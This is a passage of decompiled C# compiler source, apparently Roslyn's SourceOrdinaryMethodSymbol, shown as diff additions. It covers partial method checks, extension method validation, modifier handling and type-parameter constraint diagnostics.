j = 0; j < instance.Count; j++) + { + if (valueText == instance[j].Name) + { + diagnostics.Add(ErrorCode.ERR_DuplicateTypeParameter, location, valueText); + break; + } + } + SourceMemberContainerTypeSymbol.ReportReservedTypeName(((SyntaxToken)(ref identifier)).Text, DeclaringCompilation, ((BindingDiagnosticBag)diagnostics).DiagnosticBag, location); + TypeParameterSymbol typeParameterSymbol = ContainingType.FindEnclosingTypeParameter(valueText); + if ((object)typeParameterSymbol != null) + { + diagnostics.Add(ErrorCode.WRN_TypeParameterSameAsOuterTypeParameter, location, valueText, typeParameterSymbol.ContainingType); + } + ImmutableArray syntaxRefs = ImmutableArray.Create(typeParameterSyntax.GetReference()); + ImmutableArray locations = ImmutableArray.Create(location); + TypeParameterSymbol typeParameterSymbol2 = ((overriddenMethodTypeParameterMapBase != null) ? ((SourceTypeParameterSymbolBase)new SourceOverridingMethodTypeParameterSymbol(overriddenMethodTypeParameterMapBase, valueText, i, locations, syntaxRefs)) : ((SourceTypeParameterSymbolBase)new SourceMethodTypeParameterSymbol(this, valueText, i, locations, syntaxRefs))); + instance.Add(typeParameterSymbol2); + } + return instance.ToImmutableAndFree(); + } + } + + private const DeclarationModifiers PartialMethodExtendedModifierMask = DeclarationModifiers.Sealed | DeclarationModifiers.New | DeclarationModifiers.Extern | DeclarationModifiers.Virtual | DeclarationModifiers.Override; + + private bool HasAnyBody => flags.HasAnyBody; + + protected sealed override Location ReturnTypeLocation => ((SyntaxNode)GetSyntax().ReturnType).Location; + + internal abstract SourceOrdinaryMethodSymbol OtherPartOfPartial { get; } + + internal bool IsPartialDefinition + { + get + { + if (base.IsPartial && !HasAnyBody) + { + return !base.HasExternModifier; + } + return false; + } + } + + internal bool IsPartialImplementation + { + get + { + if (base.IsPartial) + { + if (!HasAnyBody) + { + return base.HasExternModifier; + } + return true; + } + return false; + } + } + + internal bool IsPartialWithoutImplementation + { + get + { + if (IsPartialDefinition) + { + return (object)OtherPartOfPartial == null; + } + return false; + } + } + + internal SourceOrdinaryMethodSymbol SourcePartialDefinition + { + get + { + if (!IsPartialImplementation) + { + return null; + } + return OtherPartOfPartial; + } + } + + internal SourceOrdinaryMethodSymbol SourcePartialImplementation + { + get + { + if (!IsPartialDefinition) + { + return null; + } + return OtherPartOfPartial; + } + } + + public sealed override MethodSymbol PartialDefinitionPart => SourcePartialDefinition; + + public sealed override MethodSymbol PartialImplementationPart => SourcePartialImplementation; + + public sealed override bool IsExtern + { + get + { + if (!IsPartialDefinition) + { + return base.HasExternModifier; + } + return OtherPartOfPartial?.IsExtern ?? false; + } + } + + protected sealed override SourceMemberMethodSymbol BoundAttributesSource => SourcePartialDefinition; + + private SyntaxList AttributeDeclarationSyntaxList + { + get + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (ContainingType is SourceMemberContainerTypeSymbol { AnyMemberHasAttributes: not false }) + { + return GetSyntax().AttributeLists; + } + return default(SyntaxList); + } + } + + internal sealed override bool GenerateDebugInfo + { + get + { + if (!IsAsync) + { + return !IsIterator; + } + return false; + } + } + + internal bool HasExplicitAccessModifier { get; } + + private bool HasExtendedPartialModifier => (DeclarationModifiers & (DeclarationModifiers.Sealed | DeclarationModifiers.New | DeclarationModifiers.Extern | DeclarationModifiers.Virtual | DeclarationModifiers.Override)) != 0; + + public static SourceOrdinaryMethodSymbol CreateMethodSymbol(NamedTypeSymbol containingType, Binder bodyBinder, MethodDeclarationSyntax syntax, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Expected O, but got Unknown + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier = syntax.ExplicitInterfaceSpecifier; + SyntaxToken identifier = syntax.Identifier; + TypeSymbol explicitInterfaceTypeOpt; + string aliasQualifierOpt; + string memberNameAndInterfaceSymbol = ExplicitInterfaceHelpers.GetMemberNameAndInterfaceSymbol(bodyBinder, explicitInterfaceSpecifier, ((SyntaxToken)(ref identifier)).ValueText, diagnostics, out explicitInterfaceTypeOpt, out aliasQualifierOpt); + SourceLocation location = new SourceLocation(ref identifier); + MethodKind methodKind = (MethodKind)((explicitInterfaceSpecifier == null) ? 10 : 8); + if ((object)explicitInterfaceTypeOpt != null || syntax.Modifiers.Any(SyntaxKind.PartialKeyword) || syntax.Arity != 0) + { + return new SourceOrdinaryMethodSymbolComplex(containingType, explicitInterfaceTypeOpt, memberNameAndInterfaceSymbol, (Location)(object)location, syntax, methodKind, isNullableAnalysisEnabled, diagnostics); + } + return new SourceOrdinaryMethodSymbolSimple(containingType, memberNameAndInterfaceSymbol, (Location)(object)location, syntax, methodKind, isNullableAnalysisEnabled, diagnostics); + } + + private SourceOrdinaryMethodSymbol(NamedTypeSymbol containingType, string name, Location location, MethodDeclarationSyntax syntax, MethodKind methodKind, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics) + : base(containingType, name, location, syntax, SyntaxFacts.HasYieldOperations((SyntaxNode?)(object)syntax.Body), MakeModifiersAndFlags(containingType, location, syntax, methodKind, isNullableAnalysisEnabled, diagnostics, out var hasExplicitAccessMod)) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0064: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Invalid comparison between Unknown and I4 + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + this.CheckUnsafeModifier(DeclarationModifiers, diagnostics); + HasExplicitAccessModifier = hasExplicitAccessMod; + bool flag = syntax.HasAnyBody(); + CheckFeatureAvailabilityAndRuntimeSupport((SyntaxNode)(object)syntax, location, flag, diagnostics); + if (flag) + { + CheckModifiersForBody(location, diagnostics); + } + ModifierUtils.CheckAccessibility(DeclarationModifiers, this, (int)methodKind == 8, diagnostics, location); + if (syntax.Arity == 0) + { + Symbol.ReportErrorIfHasConstraints(syntax.ConstraintClauses, ((BindingDiagnosticBag)diagnostics).DiagnosticBag); + } + Symbol.CheckForBlockAndExpressionBody(syntax.Body, syntax.ExpressionBody, syntax, diagnostics); + } + + private static (DeclarationModifiers, Flags) MakeModifiersAndFlags(NamedTypeSymbol containingType, Location location, MethodDeclarationSyntax syntax, MethodKind methodKind, bool isNullableAnalysisEnabled, BindingDiagnosticBag diagnostics, out bool hasExplicitAccessMod) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Invalid comparison between Unknown and I4 + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + (DeclarationModifiers, bool) tuple = MakeModifiers(syntax, containingType, methodKind, syntax.HasAnyBody(), location, diagnostics); + DeclarationModifiers item = tuple.Item1; + hasExplicitAccessMod = tuple.Item2; + bool isScoped; + RefKind refKindInLocalOrReturn = syntax.ReturnType.SkipScoped(out isScoped).GetRefKindInLocalOrReturn(diagnostics); + bool hasAnyBody = syntax.HasAnyBody(); + bool isExpressionBodied = syntax.IsExpressionBodied(); + ParameterSyntax parameterSyntax = syntax.ParameterList.Parameters.FirstOrDefault(); + Flags item2 = new Flags(methodKind, refKindInLocalOrReturn, item, returnsVoid: false, returnsVoidIsSet: false, hasAnyBody, isExpressionBodied, parameterSyntax != null && !parameterSyntax.IsArgList && parameterSyntax.Modifiers.Any(SyntaxKind.ThisKeyword), isNullableAnalysisEnabled, syntax.IsVarArg(), (int)methodKind == 8); + return (item, item2); + } + + private (TypeWithAnnotations ReturnType, ImmutableArray Parameters, ImmutableArray DeclaredConstraintsForOverrideOrImplementation) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Invalid comparison between Unknown and I4 + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Invalid comparison between Unknown and I4 + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Invalid comparison between Unknown and I4 + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + MethodDeclarationSyntax syntax = GetSyntax(); + Binder binder = DeclaringCompilation.GetBinderFactory(syntax.SyntaxTree).GetBinder((SyntaxNode)(object)syntax.ReturnType, syntax, this).WithAdditionalFlagsAndContainingMemberOrLambda(BinderFlags.SuppressConstraintChecks, this); + ParameterListSyntax parameterList = syntax.ParameterList; + bool isScoped = IsVirtual || IsAbstract; + SyntaxToken arglistToken; + ImmutableArray item = ImmutableArrayExtensions.Cast(ParameterHelpers.MakeParameters(binder, this, parameterList, out arglistToken, diagnostics, allowRefOrOut: true, allowThis: true, isScoped)); + TypeSyntax returnType = syntax.ReturnType; + returnType = returnType.SkipScoped(out isScoped).SkipRef(); + TypeWithAnnotations typeWithAnnotations = binder.BindType(returnType, diagnostics); + if (typeWithAnnotations.IsRestrictedType(ignoreSpanLikeTypes: true) && ((int)typeWithAnnotations.SpecialType != 36 || ((int)ContainingType.SpecialType != 36 && (int)ContainingType.SpecialType != 37))) + { + diagnostics.Add(ErrorCode.ERR_MethodReturnCantBeRefAny, ((SyntaxNode)syntax.ReturnType).Location, typeWithAnnotations.Type); + } + ImmutableArray immutableArray = default(ImmutableArray); + if (Arity != 0 && (syntax.ExplicitInterfaceSpecifier != null || IsOverride)) + { + if (syntax.ConstraintClauses.Count > 0) + { + Binder.CheckFeatureAvailability(syntax.ConstraintClauses[0].WhereKeyword, MessageID.IDS_OverrideWithConstraints, diagnostics); + immutableArray = binder.WithAdditionalFlags(BinderFlags.SuppressConstraintChecks | BinderFlags.GenericConstraintsClause).BindTypeParameterConstraintClauses(this, TypeParameters, syntax.TypeParameterList, syntax.ConstraintClauses, diagnostics, performOnlyCycleSafeValidation: false, isForOverride: true); + } + ImmutableArray.Enumerator enumerator = item.GetEnumerator(); + while (enumerator.MoveNext()) + { + forceMethodTypeParameters(enumerator.Current.TypeWithAnnotations, this, immutableArray); + } + forceMethodTypeParameters(typeWithAnnotations, this, immutableArray); + } + return (ReturnType: typeWithAnnotations, Parameters: item, DeclaredConstraintsForOverrideOrImplementation: immutableArray); + static void forceMethodTypeParameters(TypeWithAnnotations type, SourceOrdinaryMethodSymbol method, ImmutableArray declaredConstraints) + { + type.VisitType(null, delegate(TypeWithAnnotations typeWithAnnotations2, (SourceOrdinaryMethodSymbol method, ImmutableArray declaredConstraints) args, bool unused2) + { + if (typeWithAnnotations2.DefaultType is TypeParameterSymbol typeParameterSymbol && (object)typeParameterSymbol.DeclaringMethod == args.method) + { + bool asValueType = args.declaredConstraints.IsDefault || (args.declaredConstraints[typeParameterSymbol.Ordinal].Constraints & (TypeParameterConstraintKind.ReferenceType | TypeParameterConstraintKind.Default)) == 0; + typeWithAnnotations2.TryForceResolve(asValueType); + } + return false; + }, null, (method, declaredConstraints), canDigThroughNullable: false, useDefaultType: true); + } + } + + protected sealed override void ExtensionMethodChecks(BindingDiagnosticBag diagnostics) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Invalid comparison between Unknown and I4 + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Invalid comparison between Unknown and I4 + //IL_00d2: Unknown result type (might be due to invalid IL or missing references) + //IL_00d9: Invalid comparison between Unknown and I4 + //IL_01c3: Unknown result type (might be due to invalid IL or missing references) + //IL_01c8: Unknown result type (might be due to invalid IL or missing references) + //IL_01d2: Unknown result type (might be due to invalid IL or missing references) + //IL_01dc: Unknown result type (might be due to invalid IL or missing references) + //IL_01e1: Unknown result type (might be due to invalid IL or missing references) + //IL_0213: Unknown result type (might be due to invalid IL or missing references) + //IL_0215: Unknown result type (might be due to invalid IL or missing references) + //IL_01e7: Unknown result type (might be due to invalid IL or missing references) + //IL_01ec: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + //IL_016a: Unknown result type (might be due to invalid IL or missing references) + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + if (!IsExtensionMethod) + { + return; + } + MethodDeclarationSyntax syntax = GetSyntax(); + TypeWithAnnotations typeWithAnnotations = Parameters[0].TypeWithAnnotations; + RefKind refKind = Parameters[0].RefKind; + if (!typeWithAnnotations.Type.IsValidExtensionParameterType()) + { + Location location = ((SyntaxNode)syntax.ParameterList.Parameters[0].Type).Location; + diagnostics.Add(ErrorCode.ERR_BadTypeforThis, location, typeWithAnnotations.Type); + return; + } + if ((int)refKind == 1 && !typeWithAnnotations.Type.IsValueType) + { + diagnostics.Add(ErrorCode.ERR_RefExtensionMustBeValueTypeOrConstrainedToOne, _location, Name); + return; + } + bool flag = refKind - 3 <= 1; + if (flag && (int)typeWithAnnotations.TypeKind != 10) + { + diagnostics.Add(ErrorCode.ERR_InExtensionMustBeValueType, _location, Name); + return; + } + if ((object)ContainingType.ContainingType != null) + { + diagnostics.Add(ErrorCode.ERR_ExtensionMethodsDecl, _location, ContainingType.Name); + return; + } + if (!ContainingType.IsScriptClass && (!ContainingType.IsStatic || ContainingType.Arity != 0)) + { + SyntaxToken val = ((syntax.Parent is TypeDeclarationSyntax typeDeclarationSyntax) ? typeDeclarationSyntax.Identifier : syntax.Identifier); + Location location2 = ((SyntaxToken)(ref val)).GetLocation(); + diagnostics.Add(ErrorCode.ERR_BadExtensionAgg, location2); + return; + } + if (!IsStatic) + { + diagnostics.Add(ErrorCode.ERR_BadExtensionMeth, _location); + return; + } + UseSiteInfo useSiteInfo; + Symbol wellKnownTypeMember = Binder.GetWellKnownTypeMember(DeclaringCompilation, (WellKnownMember)111, out useSiteInfo); + SyntaxToken val2 = syntax.ParameterList.Parameters[0].Modifiers.FirstOrDefault(SyntaxKind.ThisKeyword); + if ((object)wellKnownTypeMember == null) + { + MemberDescriptor descriptor = WellKnownMembers.GetDescriptor((WellKnownMember)111); + diagnostics.Add(ErrorCode.ERR_ExtensionAttrNotFound, ((SyntaxToken)(ref val2)).GetLocation(), ((MemberDescriptor)(ref descriptor)).DeclaringTypeMetadataName); + } + else + { + ((BindingDiagnosticBag)(object)diagnostics).Add(useSiteInfo, val2); + } + } + + internal MethodDeclarationSyntax GetSyntax() + { + return (MethodDeclarationSyntax)(object)syntaxReferenceOpt.GetSyntax(default(CancellationToken)); + } + + internal sealed override ExecutableCodeBinder TryGetBodyBinder(BinderFactory binderFactoryOpt = null, bool ignoreAccessibility = false) + { + return TryGetBodyBinderFromSyntax(binderFactoryOpt, ignoreAccessibility); + } + + protected sealed override void CompleteAsyncMethodChecksBetweenStartAndFinish() + { + if (IsPartialDefinition) + { + DeclaringCompilation.SymbolDeclaredEvent(this); + } + } + + protected sealed override int GetParameterCountFromSyntax() + { + return GetSyntax().ParameterList.ParameterCount; + } + + internal static void InitializePartialMethodParts(SourceOrdinaryMethodSymbol definition, SourceOrdinaryMethodSymbol implementation) + { + SourceOrdinaryMethodSymbolComplex.InitializePartialMethodParts((SourceOrdinaryMethodSymbolComplex)definition, (SourceOrdinaryMethodSymbolComplex)implementation); + } + + public sealed override string GetDocumentationCommentXml(CultureInfo preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return SourceDocumentationCommentUtils.GetAndCacheDocumentationComment(this, expandIncludes, ref expandIncludes ? ref lazyExpandedDocComment : ref lazyDocComment); + } + + internal sealed override OneOrMany> GetAttributeDeclarations() + { + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if ((object)SourcePartialImplementation != null) + { + return OneOrMany.Create>(ImmutableArray.Create>(AttributeDeclarationSyntaxList, SourcePartialImplementation.AttributeDeclarationSyntaxList)); + } + return OneOrMany.Create>(AttributeDeclarationSyntaxList); + } + + private static DeclarationModifiers MakeDeclarationModifiers(MethodDeclarationSyntax syntax, NamedTypeSymbol containingType, Location location, DeclarationModifiers allowedModifiers, BindingDiagnosticBag diagnostics) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + bool modifierErrors; + return ModifierUtils.MakeAndCheckNonTypeMemberModifiers(isOrdinaryMethod: true, containingType.IsInterface, syntax.Modifiers, DeclarationModifiers.None, allowedModifiers, location, diagnostics, out modifierErrors); + } + + internal sealed override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + SourcePartialImplementation?.ForceComplete(locationOpt, cancellationToken); + base.ForceComplete(locationOpt, cancellationToken); + } + + public sealed override bool IsDefinedInSourceTree(SyntaxTree tree, TextSpan? definedWithinSpan, CancellationToken cancellationToken = default(CancellationToken)) + { + if (!Symbol.IsDefinedInSourceTree(base.SyntaxRef, tree, definedWithinSpan)) + { + return SourcePartialImplementation?.IsDefinedInSourceTree(tree, definedWithinSpan, cancellationToken) ?? false; + } + return true; + } + + protected abstract override void CheckConstraintsForExplicitInterfaceType(ConversionsBase conversions, BindingDiagnosticBag diagnostics); + + protected sealed override void PartialMethodChecks(BindingDiagnosticBag diagnostics) + { + SourceOrdinaryMethodSymbol sourcePartialImplementation = SourcePartialImplementation; + if ((object)sourcePartialImplementation != null) + { + PartialMethodChecks(this, sourcePartialImplementation, diagnostics); + } + } + + private static void PartialMethodChecks(SourceOrdinaryMethodSymbol definition, SourceOrdinaryMethodSymbol implementation, BindingDiagnosticBag diagnostics) + { + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Unknown result type (might be due to invalid IL or missing references) + //IL_014b: Unknown result type (might be due to invalid IL or missing references) + //IL_026a: Unknown result type (might be due to invalid IL or missing references) + //IL_0270: Expected O, but got Unknown + //IL_0278: Unknown result type (might be due to invalid IL or missing references) + //IL_027e: Expected O, but got Unknown + MethodSymbol methodSymbol = definition.ConstructIfGeneric(TypeMap.TypeParametersAsTypeSymbolsWithIgnoredAnnotations(implementation.TypeParameters)); + bool flag = !methodSymbol.ReturnTypeWithAnnotations.Equals(implementation.ReturnTypeWithAnnotations, (TypeCompareKind)63); + if (flag) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodReturnTypeDifference, implementation.GetFirstLocation()); + } + else if (MemberSignatureComparer.ConsideringTupleNamesCreatesDifference(definition, implementation)) + { + flag = true; + diagnostics.Add(ErrorCode.ERR_PartialMethodInconsistentTupleNames, implementation.GetFirstLocation(), definition, implementation); + } + if (definition.RefKind != implementation.RefKind) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodRefReturnDifference, implementation.GetFirstLocation()); + } + if (definition.IsStatic != implementation.IsStatic) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodStaticDifference, implementation.GetFirstLocation()); + } + if (definition.IsDeclaredReadOnly != implementation.IsDeclaredReadOnly) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodReadOnlyDifference, implementation.GetFirstLocation()); + } + if (definition.IsExtensionMethod != implementation.IsExtensionMethod) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodExtensionDifference, implementation.GetFirstLocation()); + } + if (definition.IsUnsafe != implementation.IsUnsafe && definition.CompilationAllowsUnsafe()) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodUnsafeDifference, implementation.GetFirstLocation()); + } + if (definition.IsParams() != implementation.IsParams()) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodParamsDifference, implementation.GetFirstLocation()); + } + if (definition.HasExplicitAccessModifier != implementation.HasExplicitAccessModifier || definition.DeclaredAccessibility != implementation.DeclaredAccessibility) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodAccessibilityDifference, implementation.GetFirstLocation()); + } + if (definition.IsVirtual != implementation.IsVirtual || definition.IsOverride != implementation.IsOverride || definition.IsSealed != implementation.IsSealed || definition.IsNew != implementation.IsNew) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodExtendedModDifference, implementation.GetFirstLocation()); + } + PartialMethodConstraintsChecks(definition, implementation, diagnostics); + if (SourceMemberContainerTypeSymbol.CheckValidScopedOverride(methodSymbol, implementation, diagnostics, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol implementedMethod, MethodSymbol implementingMethod, ParameterSymbol implementingParameter, bool blameAttributes, object arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + bindingDiagnosticBag.Add(ErrorCode.ERR_ScopedMismatchInParameterOfPartial, implementingMethod.GetFirstLocation(), (object)new FormattedSymbol((ISymbolInternal)(object)implementingParameter, SymbolDisplayFormat.ShortFormat)); + }, null, allowVariance: false, invokedAsExtensionMethod: false)) + { + flag = true; + } + if (SourceMemberContainerTypeSymbol.CheckValidNullableMethodOverride(implementation.DeclaringCompilation, methodSymbol, implementation, diagnostics, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol implementedMethod, MethodSymbol implementingMethod, bool topLevel, object arg) + { + bindingDiagnosticBag.Add(ErrorCode.WRN_NullabilityMismatchInReturnTypeOnPartial, implementingMethod.GetFirstLocation()); + }, delegate(BindingDiagnosticBag bindingDiagnosticBag, MethodSymbol implementedMethod, MethodSymbol implementingMethod, ParameterSymbol implementingParameter, bool blameAttributes, object arg) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Expected O, but got Unknown + bindingDiagnosticBag.Add(ErrorCode.WRN_NullabilityMismatchInParameterTypeOnPartial, implementingMethod.GetFirstLocation(), (object)new FormattedSymbol((ISymbolInternal)(object)implementingParameter, SymbolDisplayFormat.ShortFormat)); + }, null)) + { + flag = true; + } + if ((!flag && !MemberSignatureComparer.PartialMethodsStrictComparer.Equals(definition, implementation)) || hasDifferencesInParameterOrTypeParameterName(definition, implementation)) + { + diagnostics.Add(ErrorCode.WRN_PartialMethodTypeDifference, implementation.GetFirstLocation(), (object)new FormattedSymbol((ISymbolInternal)(object)definition, SymbolDisplayFormat.MinimallyQualifiedFormat), (object)new FormattedSymbol((ISymbolInternal)(object)implementation, SymbolDisplayFormat.MinimallyQualifiedFormat)); + } + static bool hasDifferencesInParameterOrTypeParameterName(SourceOrdinaryMethodSymbol sourceOrdinaryMethodSymbol, SourceOrdinaryMethodSymbol sourceOrdinaryMethodSymbol2) + { + if (sourceOrdinaryMethodSymbol.Parameters.SequenceEqual(sourceOrdinaryMethodSymbol2.Parameters, (ParameterSymbol a, ParameterSymbol b) => a.Name == b.Name)) + { + return !sourceOrdinaryMethodSymbol.TypeParameters.SequenceEqual(sourceOrdinaryMethodSymbol2.TypeParameters, (TypeParameterSymbol a, TypeParameterSymbol b) => a.Name == b.Name); + } + return true; + } + } + + private static void PartialMethodConstraintsChecks(SourceOrdinaryMethodSymbol definition, SourceOrdinaryMethodSymbol implementation, BindingDiagnosticBag diagnostics) + { + ImmutableArray typeParameters = definition.TypeParameters; + int length = typeParameters.Length; + if (length == 0) + { + return; + } + ImmutableArray typeParameters2 = implementation.TypeParameters; + ImmutableArray to = IndexedTypeParameterSymbol.Take(length); + TypeMap typeMap = new TypeMap(typeParameters, to, allowAlpha: true); + TypeMap typeMap2 = new TypeMap(typeParameters2, to, allowAlpha: true); + for (int i = 0; i < length; i++) + { + TypeParameterSymbol typeParameter = typeParameters[i]; + TypeParameterSymbol typeParameterSymbol = typeParameters2[i]; + if (!MemberSignatureComparer.HaveSameConstraints(typeParameter, typeMap, typeParameterSymbol, typeMap2)) + { + diagnostics.Add(ErrorCode.ERR_PartialMethodInconsistentConstraints, implementation.GetFirstLocation(), implementation, typeParameterSymbol.Name); + } + else if (!MemberSignatureComparer.HaveSameNullabilityInConstraints(typeParameter, typeMap, typeParameterSymbol, typeMap2)) + { + diagnostics.Add(ErrorCode.WRN_NullabilityMismatchInConstraintsOnPartialImplementation, implementation.GetFirstLocation(), implementation, typeParameterSymbol.Name); + } + } + } + + internal sealed override bool CallsAreOmitted(SyntaxTree syntaxTree) + { + if (IsPartialWithoutImplementation) + { + return true; + } + return base.CallsAreOmitted(syntaxTree); + } + + protected override void MethodChecks(BindingDiagnosticBag diagnostics) + { + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_010d: Invalid comparison between Unknown and I4 + (TypeWithAnnotations ReturnType, ImmutableArray Parameters, ImmutableArray DeclaredConstraintsForOverrideOrImplementation) tuple = MakeParametersAndBindReturnType(diagnostics); + TypeWithAnnotations item = tuple.ReturnType; + ImmutableArray item2 = tuple.Parameters; + ImmutableArray item3 = tuple.DeclaredConstraintsForOverrideOrImplementation; + MethodSymbol methodSymbol = MethodChecks(item, item2, diagnostics); + if (!item3.IsDefault && (object)methodSymbol != null) + { + for (int i = 0; i < item3.Length; i++) + { + TypeParameterSymbol typeParameterSymbol = TypeParameters[i]; + TypeParameterConstraintKind typeParameterConstraintKind = item3[i].Constraints & (TypeParameterConstraintKind.ReferenceType | TypeParameterConstraintKind.ValueType | TypeParameterConstraintKind.Default); + ErrorCode code; + if (typeParameterConstraintKind != TypeParameterConstraintKind.ReferenceType) + { + if (typeParameterConstraintKind != TypeParameterConstraintKind.ValueType) + { + if (typeParameterConstraintKind != TypeParameterConstraintKind.Default || (!typeParameterSymbol.IsReferenceType && !typeParameterSymbol.IsValueType)) + { + continue; + } + code = ErrorCode.ERR_OverrideDefaultConstraintNotSatisfied; + } + else + { + if (typeParameterSymbol.IsNonNullableValueType()) + { + continue; + } + code = ErrorCode.ERR_OverrideValConstraintNotSatisfied; + } + } + else + { + if (typeParameterSymbol.IsReferenceType) + { + continue; + } + code = ErrorCode.ERR_OverrideRefConstraintNotSatisfied; + } + diagnostics.Add(code, typeParameterSymbol.GetFirstLocation(), this, typeParameterSymbol, methodSymbol.TypeParameters[i], methodSymbol); + } + } + CheckModifiers((int)MethodKind == 8, _location, diagnostics); + } + + private static (DeclarationModifiers mods, bool hasExplicitAccessMod) MakeModifiers(MethodDeclarationSyntax syntax, NamedTypeSymbol containingType, MethodKind methodKind, bool hasBody, Location location, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + bool isInterface = containingType.IsInterface; + bool flag = (int)methodKind == 8; + DeclarationModifiers declarationModifiers = ((!isInterface || flag) ? DeclarationModifiers.Private : DeclarationModifiers.None); + DeclarationModifiers declarationModifiers2 = DeclarationModifiers.Partial | DeclarationModifiers.Unsafe; + DeclarationModifiers declarationModifiers3 = DeclarationModifiers.None; + if (!flag) + { + declarationModifiers2 |= DeclarationModifiers.AccessibilityMask | DeclarationModifiers.Abstract | DeclarationModifiers.Sealed | DeclarationModifiers.Static | DeclarationModifiers.New | DeclarationModifiers.Virtual; + if (!isInterface) + { + declarationModifiers2 |= DeclarationModifiers.Override; + } + else + { + declarationModifiers3 |= DeclarationModifiers.AccessibilityMask | DeclarationModifiers.Abstract | DeclarationModifiers.Sealed | DeclarationModifiers.Static | DeclarationModifiers.Extern | DeclarationModifiers.Partial | DeclarationModifiers.Virtual | DeclarationModifiers.Async; + } + } + else + { + if (isInterface) + { + declarationModifiers2 |= DeclarationModifiers.Abstract; + } + declarationModifiers2 |= DeclarationModifiers.Static; + } + declarationModifiers2 |= DeclarationModifiers.Extern | DeclarationModifiers.Async; + if (containingType.IsStructType()) + { + declarationModifiers2 |= DeclarationModifiers.ReadOnly; + } + DeclarationModifiers declarationModifiers4 = MakeDeclarationModifiers(syntax, containingType, location, declarationModifiers2, diagnostics); + bool item; + if ((declarationModifiers4 & DeclarationModifiers.AccessibilityMask) == 0) + { + item = false; + declarationModifiers4 |= declarationModifiers; + } + else + { + item = true; + } + ModifierUtils.CheckFeatureAvailabilityForStaticAbstractMembersInInterfacesIfNeeded(declarationModifiers4, flag, location, diagnostics); + ModifierUtils.ReportDefaultInterfaceImplementationModifiers(hasBody, declarationModifiers4, declarationModifiers3, location, diagnostics); + declarationModifiers4 = AddImpliedModifiers(declarationModifiers4, isInterface, methodKind, hasBody); + return (mods: declarationModifiers4, hasExplicitAccessMod: item); + } + + private static DeclarationModifiers AddImpliedModifiers(DeclarationModifiers mods, bool containingTypeIsInterface, MethodKind methodKind, bool hasBody) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if (containingTypeIsInterface) + { + mods = ModifierUtils.AdjustModifiersForAnInterfaceMember(mods, hasBody, (int)methodKind == 8); + } + else if ((int)methodKind == 8) + { + mods = 